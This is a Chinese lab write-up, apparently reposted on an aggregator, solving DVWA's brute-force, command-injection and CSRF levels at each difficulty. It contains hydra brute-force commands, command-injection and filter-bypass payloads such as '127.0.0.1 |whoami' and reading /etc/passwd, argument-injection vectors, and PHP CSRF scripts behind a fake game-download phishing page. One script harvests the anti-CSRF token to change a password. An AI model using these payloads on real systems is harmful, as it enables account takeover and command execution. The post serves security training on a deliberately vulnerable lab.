dvwa:暴力破解、命令注入、csrf全难度详解

news2024/11/26 14:40:25

暴力破解

easy模式
hydra -L /usr/share/wordlists/SecLists-master/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/SecLists-master/Passwords/500-worst-passwords.txt 192.168.72.1 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login#:H=Cookie\: security=low; PHPSESSID=481b089a941d0aecc848227e2e90202e:Username and/or password incorrect."
​
添加登陆路径、用户名占位符、密码占位符、添加请求头、错误返回的字符串
http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login#:H=Cookie\: security=low; PHPSESSID=481b089a941d0aecc848227e2e90202e:Username and/or password incorrect."
​
登陆路径:/dvwa/vulnerabilities/brute/
用户名和密码占位符:username=^USER^&password=^PASS^&Login=Login#
添加请求头:H=Cookie\: security=low; PHPSESSID=481b089a941d0aecc848227e2e90202e(注意冒号转位)
添加错误返回的字符串:Username and/or password incorrect.
​
[80][http-get-form] host: 192.168.72.1   login: admin   password: password
​
medium一样能爆破出,但会睡眠2秒

high模式加了一个token,但是加了token跟不加token都能爆破出来
​
hydra -L usernames.txt -P password.txt 192.168.72.1 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login&user_token=564d1b908f7b4a9e975d00bc707fab3e:H=Cookie\: security=high; PHPSESSID=481b089a941d0aecc848227e2e90202e:Username and/or password incorrect."
​
hydra -L usernames.txt -P password.txt 192.168.72.1 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie\: security=high; PHPSESSID=481b089a941d0aecc848227e2e90202e:Username and/or password incorrect."
​
hydra -L usernames.txt -P password.txt 192.168.72.1 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie\: security=high;:Username and/or password incorrect."
impossible代码逻辑:
如果登录失败,更新数据库使得用户登录失败次数+1,如果登录失败次数超过3次,account_locked将为false,下次登陆时必须等待 15分钟才会将account_locked设置为true
但是就算等待了15分钟,代码并没有将登陆失败次数清零,所以一旦登陆失败一次,就直接锁住
​
注:impossible是post,其他难度都是get

命令注入

外部命令注入:

  • ;(分号):允许您按顺序执行多个命令。

  • &&(AND):仅当第一个命令成功(返回零退出状态)时才执行第二个命令。

  • ||(或):仅当第一个命令失败(返回非零退出状态)时才执行第二个命令。

  • &(后台):在后台执行命令,允许用户继续使用shell。

  • |(管道):获取第一个命令的输出并将其用作第二个命令的输入。

  • < (重定向) :将后者输出重定向前者输入

    这种方法甚至不需要<前面是个正常的linux命令、即使报错也会输出<后面的执行结果
payload:
127.0.0.1 & whoami
适用于linux(这种方法甚至不需要<前面是个正常的linux命令、即使报错也会输出<后面的执行结果):
127.0.0.1 < "`whoami`"
127.0.0.1 < "$(whoami)"
medium
        '&&' => '',
        ';' => ''
        
payload:
127.0.0.1 & whoami
127.0.0.1 | whoami
127.0.0.1 &;& whoami
适用于linux:
127.0.0.1 < "`whoami`"
127.0.0.1 < "$(whoami)"
high
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
"| "成为了黑名单,但是"|"去掉空格还能使用
​
payload:
127.0.0.1 |whoami
impossible
通过.将ip分开,判断分离的数量是否为4,且判断这4部分是否都是数字,这两个条件成立,才会执行ping命令
命令注入其他扩展
参数注入

当您只能将参数附加到现有命令时,即可获得命令执行权。

查询参数注入的网站:Argument Injection Vectors

  • chrome

    chrome '--gpu-launcher="id>/tmp/foo"'
  • SSH

    ssh '-oProxyCommand="touch /tmp/foo"' foo@foo
  • 查询语言

    psql -o'|id>/tmp/foo'
字符串内部命令注入
  • 反引号

  • $()

  •  
       

    payload1:

    echo "`ip a`" echo "$(ip a)" ​ payload2: 其他命令< "`whoami`"
空格替换
${IFS}替换
cat${IFS}flag.txt
​
重定向符号替换
cat</etc/passwd
127.0.0.1<"$(whoami)"

csrf

基本思路:构造一个html钓鱼网页,钓鱼网页上有访问dvwa网站修改密码的链接,但是我发现一个问题,就是如果钓鱼网页上直接就是:http://192.168.72.1/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#的话,我们只能操控get请求的数据,不能操控header的数据和post提交的数据,而且最大的问题在于被攻击的人点击这个链接,请求头里有:H=Cookie\: security=impossible; PHPSESSID=481b089a941d0aecc848227e2e90202e,也就是说默认就是困难难度而且网页get请求不能操控header修改不了难度,所以需要使用vps写一个php服务构造恶意请求并发送

easy

前端钓鱼代码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <h3>下载游戏</h3>
    <a href="http://192.168.72.1/dvwa/csrf.php">赛博朋克2077</a>
</body>
</html>
 

php伪造请求(csrf.php)

<?php
// 设置要返回的 HTML 内容
$htmlContent = '
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Custom Page</title>
</head>
<body>
<h1>赛博朋克下载</h1>
<p>赛博朋克下载成功</p>
</body>
</html>
';
​
// 设置响应头,告诉浏览器返回的内容是 HTML
header('Content-Type: text/html');
​
// 输出 HTML 内容
echo $htmlContent;
​
$url = 'http://192.168.72.1/dvwa/vulnerabilities/csrf/'; // 要发送请求的 URL
​
// GET 数据
$get_data = array(
    'password_new' => '6666',
    'password_conf' => '6666',
    'Change' => 'Change'
);
​
// 自定义请求头
$headers = array(
    'Cookie: PHPSESSID=a0u9pif21dqn9hq1115geuujnk; security=easy',
);
​
// 初始化 cURL
$ch = curl_init();
​
// 设置 URL 和其他 cURL 选项
curl_setopt($ch, CURLOPT_URL, $url . '?' . http_build_query($get_data)); // 将 GET 数据添加到 URL
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); // 设置自定义请求头
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
​
// 执行 cURL 请求
$response = curl_exec($ch);
​
// 检查是否有错误发生
if($response === false) {
    echo 'cURL error: ' . curl_error($ch);
} else {
    // 打印响应
    echo $response;
}
​
// 关闭 cURL 资源
curl_close($ch);
?>

点击后:

同时修改密码成功

medium

需要简单配置:

  • phpstudy给网站个域名,如下图

  • linux攻击机器添加host头

vim /etc/hosts
192.168.72.1    www.oswe.com

为什么需要以上配置:

因为后端代码的判断
变量$_SERVER[ 'HTTP_REFERER' ]是否有$_SERVER[ 'SERVER_NAME' ],如果有,则说明当前修改密码的请求是从本网站跳转过来的,而不是从钓鱼网站跳转过来的,
而$_SERVER[ 'SERVER_NAME' ]这个变量实际上就是你的域名,为了能使我们的linux能解析到域名所以添加hosts头

源码的判断:

if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ){
    # 正常
}
else{
    # 错误
}
​
其中
$_SERVER[ 'HTTP_REFERER' ] = 请求头里的referer  
$_SERVER[ 'SERVER_NAME' ] = 域名www.oswe.com
​
如果请求头的referer中存在域名www.oswe.com,执行正常功能

篡改请求头referer

$headers = array(
    'Cookie: PHPSESSID=a0u9pif21dqn9hq1115geuujnk; security=medium',
    'Referer: http://www.oswe.com/dvwa/vulnerabilities/csrf/'
);

前端钓鱼代码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <h3>下载游戏</h3>
    <a href="http://192.168.72.1/dvwa/csrf.php">赛博朋克2077</a>
</body>
</html>

后端php伪造恶意请求代码(csrf.php)

<?php
// 设置要返回的 HTML 内容
$htmlContent = '
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Custom Page</title>
</head>
<body>
<h1>赛博朋克下载</h1>
<p>赛博朋克下载成功</p>
</body>
</html>
';
​
// 设置响应头,告诉浏览器返回的内容是 HTML
header('Content-Type: text/html');
​
// 输出 HTML 内容
echo $htmlContent;
​
$url = 'http://192.168.72.1/dvwa/vulnerabilities/csrf/'; // 要发送请求的 URL
​
// GET 数据
$get_data = array(
    'password_new' => '6666',
    'password_conf' => '6666',
    'Change' => 'Change'
);
​
// 自定义请求头
$headers = array(
    'Cookie: PHPSESSID=a0u9pif21dqn9hq1115geuujnk; security=medium',
    'Referer: http://www.oswe.com/dvwa/vulnerabilities/csrf/'
);
​
// 初始化 cURL
$ch = curl_init();
​
// 设置 URL 和其他 cURL 选项
curl_setopt($ch, CURLOPT_URL, $url . '?' . http_build_query($get_data)); // 将 GET 数据添加到 URL
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); // 设置自定义请求头
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
​
// 执行 cURL 请求
$response = curl_exec($ch);
​
// 检查是否有错误发生
if($response === false) {
    echo 'cURL error: ' . curl_error($ch);
} else {
    // 打印响应
    echo $response;
}
​
// 关闭 cURL 资源
curl_close($ch);
?>
hard
array_key_exists 函数
— 检查数组里是否有指定的键名或索引
数组里有键 key 时,array_key_exists() 返回 true。 key 可以是任何能作为数组索引的值。
主要检查提交的数据是否完整:
if (array_key_exists("user_token", $_REQUEST) &&
        array_key_exists("password_new", $_REQUEST) &&
        array_key_exists("password_conf", $_REQUEST) &&
        array_key_exists("Change", $_REQUEST))
​
checkToken 函数
检测请求包的token和用户的会话token是否一致:
if ($_SESSION[ 'session_token' ] === $_REQUEST["user_token"])
关于token
这里的token是一开始请求固定在html页面的表单里的,每一次的请求都会更新一次token的值,我们需要先劫持token然后再伪造请求,固定在表单里的token如下:
​
<form action="#" method="GET">
            New password:<br />
            <input type="password" AUTOCOMPLETE="off" name="password_new"><br />
            Confirm new password:<br />
            <input type="password" AUTOCOMPLETE="off" name="password_conf"><br />
            <br />
            <input type="submit" value="Change" name="Change">
            <input type='hidden' name='user_token' value='8a5cd4cae342ac86000a7abb1d65a5fa' />
</form>

思路:

  • 构造恶意链接,链接向dvwa的high模式下的csrf页面请求两次

    • 第一次请求是为了获取到固定在表单里的token

    • 第二次请求是为了使用这个token来修改密码

前端钓鱼代码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <h3>下载游戏</h3>
    <a href="http://192.168.72.1/dvwa/csrf.php">赛博朋克2077</a>
    <a href="http://192.168.72.1/dvwa/csrf_token.php">巫师3</a>
</body>
</html>
​
其中csrf.php是之前的没有token模式的恶意php请求
csrf_token.php是我们请求两次的恶意php请求

php恶意请求代码csrf_token.php

<?php
// 设置要返回的 HTML 内容
$htmlContent = '
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Custom Page</title>
</head>
<body>
<h1>赛博朋克下载</h1>
<p>赛博朋克下载成功</p>
</body>
</html>
';
// 初始化 cURL
$ch = curl_init();
​
$url = 'http://192.168.72.1/dvwa/vulnerabilities/csrf/';
​
$headers = array(
    'Cookie: PHPSESSID=a0u9pif21dqn9hq1115geuujnk; security=high',
    'Referer: http://www.oswe.com/dvwa/vulnerabilities/csrf/'
);
​
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); // 设置自定义请求头
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
​
// 执行 cURL 请求并将结果保存到 $html 变量中
$html = curl_exec($ch);
​
​
// 创建一个 DOMDocument 对象并载入 HTML 内容
$dom = new DOMDocument();
@$dom->loadHTML($html);
​
// 获取所有的 input 标签
$inputElements = $dom->getElementsByTagName('input');
​
$userTokenValue = null;
​
// 遍历所有的 input 标签,查找 name 为 user_token 的元素
foreach ($inputElements as $element) {
    if ($element->getAttribute('name') === 'user_token') {
        // 输出 user_token 的值
        $userTokenValue = $element->getAttribute('value');
        break; // 找到后跳出循环
    }
}
if ($userTokenValue) {
    echo "使用了如下token修改密码:". $userTokenValue;
} else {
    echo "user_token not found";
}
​
​
// 设置响应头,告诉浏览器返回的内容是 HTML
header('Content-Type: text/html');
​
// 输出 HTML 内容
echo $htmlContent;
​
// GET 数据
$get_data = array(
    'password_new' => '8888',
    'password_conf' => '8888',
    'Change' => 'Change',
    'user_token' => $userTokenValue
);
​
​
// 设置 URL 和其他 cURL 选项
curl_setopt($ch, CURLOPT_URL, $url . '?' . http_build_query($get_data)); // 将 GET 数据添加到 URL
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); // 设置自定义请求头
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
​
// 执行 cURL 请求
$response = curl_exec($ch);
​
// 检查是否有错误发生
// if($response === false) {
//     echo 'cURL error: ' . curl_error($ch);
// } else {
//     // 打印响应
//     echo $response;
// }
​
// 关闭 cURL 资源
curl_close($ch);
?>

这里点的是巫师3,但显示下载成功的是赛博朋克,是因为这个返回页面我懒得该,直接返回的字符串

impossible

修改密码前,输入当前密码来身份验证,导致csrf请求伪造无法获取用户凭据

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2208333.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

UDP和TCP的区别、网络编程(UDP回显服务器、TCP回显服务器)

目录 一、什么是网络编程 二、网络编程的内容概念 接受端和发送端 请求和响应 服务端和客户端 三、UDP和TCP协议的区别 四、UDP网络编程的类和函数&#xff08;回显服务器&#xff09; DatagramSocket DatagramPacket InetSocketAddress 基于UDP的回显服务器和客户…

​​​​​​​​​​Proxifier安装步骤

​​​​​​​​​​Proxifier ​​​​​​​​​​Proxifier下载连接 进入Proxifier官网后&#xff0c;点击下面按钮&#xff0c;下载安装包 下载完成后&#xff0c;打开压缩包 双击运行 选择试用 安装完成

Vue 3 全屏切换组件(附Demo)

目录 1. 基本知识2. 拓展3. 延伸 1. 基本知识 全屏 API document.documentElement.requestFullscreen()&#xff1a;请求全屏模式 document.exitFullscreen()&#xff1a;退出全屏模式 document.fullscreenElement&#xff1a;返回当前处于全屏状态的元素 基本的Demo如下&…

大模型进军医疗行业:实验揭示LLMs在临床建议中的表现

近年来&#xff0c;大型语言模型&#xff08;LLMs&#xff09;如GPT-4等以其强大的自然语言处理能力&#xff0c;引发了科技界和公众的广泛关注。随着技术的不断进步&#xff0c;越来越多的人开始探索将LLMs应用于医疗行业&#xff0c;以期提高医疗服务的效率和质量。然而&…

第170天:应急响应-战中溯源反制对抗上线CSGoby蚁剑Sqlmap等安全工具

目录 案例一&#xff1a;溯源反制-Webshell工具-Antsword 案例二&#xff1a;溯源反制-SQL注入工具-SQLMAP 案例三&#xff1a;溯源反制-漏洞扫描工具-Goby 案例四&#xff1a;溯源反制-远程控制工具-CobaltStrike 反制Server&#xff0c;爆破密码&#xff08;通用&#x…

吴恩达演讲全文:AI Agent工作流的趋势

本文是吴恩达今年3月的演讲&#xff0c;题目为“Agentic Reasoning”&#xff0c;对AI Agent工作流的趋势进行了讲解。 本文对AI Agent翻译为了AI代理。 吴恩达指出&#xff0c;随着AI技术的发展&#xff0c;AI代理被视为一个能显著提升软件开发效率和质量的工具。 他通过展…

umi配置阿里云短信验证登录流程

首先 开通短信服务&#xff0c;融合认证&#xff0c;设置签名&#xff0c;模板&#xff0c;templateparams&#xff0c;调试板块可以发送成功并测试&#xff1b; s​​​​​​​​​​​​​​SendSmsVerifyCode_云通信号码认证服务_API调试-阿里云OpenAPI开发者门户 下图的s…

荆州团市委领导一行赴点赋科技公司参观考察

近日&#xff0c;荆州团市委书记熊燃、副书记陈杰一行前往点赋科技公司进行参观考察&#xff0c;为荆州科技领域与青年工作的交流合作开启新篇。 在考察过程中&#xff0c;熊燃书记和陈杰副书记深入点赋科技公司的办公区域、设备点位等进行实地走访。他们仔细聆听了公司董事长崔…

HUAWEI_HCIA_实验指南_Lib3.1_VLAN 基础配置及 Access 接口

1、原理概述 早期的局域网技术是基于总线型结构的。总线型拓扑结构是由一根单电缆连接着所有主机&#xff0c;这种局域网技术存在着冲突域问题&#xff0c;即所有用户都在一个冲突域中&#xff0c;那么同一时间内只有一台主机能发送消息&#xff0c;从任意设备发出的消息都会被…

Monad 101 杭州线下活动:解锁创新技术,引领低成本高效 DApp 开发之路!

以太坊等区块链在处理传统金融大规模交易时面临巨大挑战&#xff0c;有限的可扩展性成为阻碍其广泛应用的主要瓶颈。为了解决这一难题&#xff0c;并缩小传统金融与去中心化金融&#xff08;DeFi&#xff09;之间的差距&#xff0c;Keone 创立了 Monad。通过显著提升交易速度和…

STM32(十八):SPI通信

SPI通信&#xff1a; SPI&#xff08;Serial Peripheral Interface&#xff09;是由Motorola公司开发的一种通用数据总线 四根通信线&#xff1a;SCK&#xff08;Serial Clock&#xff09;、MOSI&#xff08;Master Output Slave Input&#xff09;主机输出从机输入、MISO&…

Idea 2024.2.3 找不到Cache Recovery设置

idea找不到官网所说的设置 下面是解决办法 1.找到对应位置 2.增加配置文件内容 idea.is.internaltrue3.重启idea 4.查看结果 解决方案原文

Android列表组件api

目录 1.ListView控件 1&#xff09;android:divider 2&#xff09;android:dividerHeight 3&#xff09;android:entries 4&#xff09;android:footerDividersEnabled 5&#xff09;android:headerDividersEnabled 6&#xff09;android:listSelector 7&#xff09;android:sc…

JavaScript Set 必备指南:深入理解 Set 的特性和方法

一. 了解 Set 1. 概念和用途 Set 是 JavaScript 中的一种集合&#xff08;collection&#xff09;数据结构&#xff0c;它类似于数组&#xff0c;但是集合中的元素是唯一的&#xff0c;不允许重复。Set 提供了一种存储不重复数值或对象的机制&#xff0c;可以用于存储一组唯一…

【03】手把手教你0基础部署SpringCloud微服务商城教学-Docker前置篇(附Linux虚拟机配置调试及Docker安装全流程)

前文回顾&#xff1a;【02】手把手教你0基础部署SpringCloud微服务商城教学-Mybatis篇&#xff08;下&#xff09; 首先我们第一次看见这个东西&#xff0c;第一步就是需要知道它到底是用来干什么的&#xff1f; 简单来说&#xff0c;Docker就是一个快速构建、运行、管理应用的…

K8s-services+pod详解1

一、Service 我们能够利用Deployment创建一组Pod来提供具有高可用性的服务。 虽然每个Pod都会分配一个单独的Pod IP&#xff0c;然而却存在如下两问题&#xff1a; Pod IP 会随着Pod的重建产生变化Pod IP 仅仅是集群内可见的虚拟IP&#xff0c;外部无法访问 这样对于访问这…

【干货】2024新学期期中考试,老师成绩发布工具

老师们别再为期中发成绩发愁了&#xff0c;我给各位带来了一个解决方案——易查分小程序&#xff0c;它可以将彻底改变您发布成绩的方式&#xff01;一分钟发布期中考试成绩。不管您是教育界的新手还是老手&#xff0c;易查分都能成为您的得力助手。它的界面既美观又实用&#…

大数据毕业设计选题推荐-音乐数据分析系统-音乐推荐系统-Python数据可视化-Hive-Hadoop-Spark

✨作者主页&#xff1a;IT研究室✨ 个人简介&#xff1a;曾从事计算机专业培训教学&#xff0c;擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。 ☑文末获取源码☑ 精彩专栏推荐⬇⬇⬇ Java项目 Python…

一些近期值得关注的存储和备份潜在漏洞

时刻保持警惕&#xff0c;及时、适时地检测暴露于安全建议和警告的相关设备&#xff0c;这一点对企业数据安全再重要不过了。 Continuity调研指出了最近几个月&#xff0c;存储和备份解决方案中存在的、可被攻击者发现和利用的潜在漏洞&#xff0c;包括&#xff1a; Veeam Ba…

YOLOv10改进目录一览 | 涉及卷积层、轻量化、注意力、损失函数、Backbone、SPPF、Neck、检测头等全方位改进

必读内容&#x1f4d6; 如何寻找创新点&#xff1f;为什么要使用这个模块&#xff1f;如何才能提升模型的精度&#xff1f;这是贯穿我们研究始终的问题。创新点在这个专栏中我已经整理好了&#xff0c;这已经省去了大部分时间&#xff0c;但是当我们使用这些新的模块去优化已有…